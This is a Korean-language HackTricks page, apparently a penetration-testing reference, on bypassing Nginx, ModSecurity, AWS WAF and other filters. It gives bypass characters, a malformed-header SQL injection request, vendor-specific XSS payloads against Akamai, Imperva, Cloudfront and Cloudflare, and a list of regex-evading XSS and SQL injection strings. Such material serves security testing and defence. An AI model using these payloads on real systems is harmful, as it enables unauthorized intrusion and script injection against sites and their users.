Proxy / WAF Protections Bypass

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

경로 조작을 통한 Nginx ACL 규칙 우회

기술 이 연구에서.

Nginx 규칙 예:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Nginx는 우회 방지를 위해 경로 정규화를 수행합니다. 그러나 백엔드 서버가 Nginx가 제거하지 않는 문자를 제거하는 다른 정규화를 수행하는 경우, 이 방어를 우회할 수 있을 가능성이 있습니다.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM 구성:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx는 /admin.php에 대한 접근을 차단하도록 구성되어 있지만, /admin.php/index.php에 접근하여 이를 우회할 수 있습니다.

방지 방법

plaintext
location ~* ^/admin {
deny all;
}

Mod Security 규칙 우회

경로 혼동

이 게시물에서는 ModSecurity v3(3.0.12까지)가 접근된 경로(매개변수 시작까지)를 포함해야 하는 REQUEST_FILENAME 변수를 부적절하게 구현했다고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.
따라서 mod security에서 http://example.com/foo%3f';alert(1);foo=와 같은 요청은 %3f?로 변환되어 URL 경로가 종료되기 때문에 경로가 단지 /foo라고 가정하지만, 실제로 서버가 받을 경로는 /foo%3f';alert(1);foo=입니다.

변수 REQUEST_BASENAMEPATH_INFO도 이 버그의 영향을 받았습니다.

Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자와 관련된 백업 파일(예: .bak)에 대한 사용자 접근을 방지하는 보호를 우회할 수 있었습니다. 이는 점을 %2e로 URL 인코딩하여 전송함으로써 가능했습니다. 예를 들어: https://example.com/backup%2ebak.

AWS WAF ACL 우회

잘못된 헤더

이 연구에서는 AWS가 제대로 파싱하지 못한 "잘못된" 헤더를 전송함으로써 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었다고 언급합니다. 그러나 백엔드 서버는 이를 파싱할 수 있었습니다.

예를 들어, 헤더 X-Query에 SQL 인젝션이 포함된 다음 요청을 전송합니다:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤더 값의 일부임을 이해했지만 WAF는 이해하지 못했기 때문입니다(이 문제는 수정되었습니다).

일반적인 WAF 우회

요청 크기 제한

일반적으로 WAF는 요청을 확인하기 위한 특정 길이 제한이 있으며, POST/PUT/PATCH 요청이 이를 초과하면 WAF는 요청을 확인하지 않습니다.

Application Load Balancer 및 AWS AppSync 보호를 위해 검사할 수 있는 웹 요청 본문의 최대 크기8 KB
CloudFront, API Gateway, Amazon Cognito, App Runner 및 Verified Access 보호를 위해 검사할 수 있는 웹 요청 본문의 최대 크기**64 KB

구형 웹 애플리케이션 방화벽(Core Rule Set 3.1 이하)은 요청 본문 검사를 끔으로써 128 KB보다 큰 메시지를 허용하지만, 이러한 메시지는 취약점 검사를 받지 않습니다. 최신 버전(Core Rule Set 3.2 이상)에서는 최대 요청 본문 제한을 비활성화하여 동일한 작업을 수행할 수 있습니다. 요청이 크기 제한을 초과하면:

차단 모드: 요청을 기록하고 차단합니다.
탐지 모드: 제한까지 검사하고 나머지는 무시하며, Content-Length가 제한을 초과하면 기록합니다.

기본적으로 WAF는 요청의 처음 8KB만 검사합니다. 고급 메타데이터를 추가하여 최대 128KB까지 제한을 늘릴 수 있습니다.

최대 128KB.

난독화

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

유니코드 호환성

유니코드 정규화의 구현에 따라 (자세한 정보는 여기 참조), 유니코드 호환성을 공유하는 문자들은 WAF를 우회하고 의도된 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 여기에서 찾을 수 있습니다.

예시

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

컨텍스트 WAF 우회하기 위한 인코딩

이 블로그 포스트에서 언급된 바와 같이, 사용자 입력의 컨텍스트를 유지할 수 있는 WAF를 우회하기 위해 WAF 기술을 악용하여 실제로 사용자 입력을 정규화할 수 있습니다.

예를 들어, 포스트에서는 Akamai가 사용자 입력을 10번 URL 디코딩했다고 언급합니다. 따라서 <input/%2525252525252525253e/onfocus와 같은 것은 Akamai에 의해 <input/>/onfocus로 인식되며, 태그가 닫혔기 때문에 괜찮다고 생각할 수 있습니다. 그러나 애플리케이션이 입력을 10번 URL 디코딩하지 않는 한, 피해자는 <input/%25252525252525253e/onfocus와 같은 것을 보게 되며, 이는 여전히 XSS 공격에 유효합니다.

따라서 이는 WAF가 디코딩하고 해석할 인코딩된 구성 요소에 페이로드를 숨길 수 있게 해줍니다. 피해자는 이를 인식하지 못합니다.

게다가, 이는 URL 인코딩된 페이로드뿐만 아니라 유니코드, 헥스, 옥탈 등 다른 인코딩으로도 수행할 수 있습니다.

포스트에서는 다음과 같은 최종 우회 방법이 제안됩니다:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

또한, 일부 WAF가 사용자 입력의 컨텍스트를 이해하는 방식에 따라 이를 악용할 수 있는 가능성이 있다고 언급됩니다. 블로그에서 제안된 예는 Akamai가 /**/ 사이에 무엇이든 넣는 것을 허용(했을) 수 있다는 것입니다(이는 일반적으로 주석으로 사용되기 때문입니다). 따라서 /*'or sleep(5)-- -*/와 같은 SQL 인젝션은 포착되지 않으며, /*가 인젝션의 시작 문자열이고 */가 주석 처리되기 때문에 유효합니다.

이러한 종류의 컨텍스트 문제는 WAF가 악용할 것으로 예상하는 것 외의 다른 취약점을 악용하는 데에도 사용될 수 있습니다(예: 이는 XSS를 악용하는 데에도 사용될 수 있습니다).

H2C 스머글링

Upgrade Header Smuggling

IP 회전

정규 표현식 우회

정규 표현식 필터를 우회하기 위해 다양한 기술을 사용할 수 있습니다. 예를 들어 대소문자 교차, 줄 바꿈 추가, 페이로드 인코딩 등이 있습니다. 다양한 우회 방법에 대한 자료는 PayloadsAllTheThingsOWASP에서 찾을 수 있습니다. 아래의 예시는 이 기사에서 가져온 것입니다.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

도구

  • nowafpls: 길이를 통해 WAF를 우회하기 위해 요청에 잡동사니 데이터를 추가하는 Burp 플러그인

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기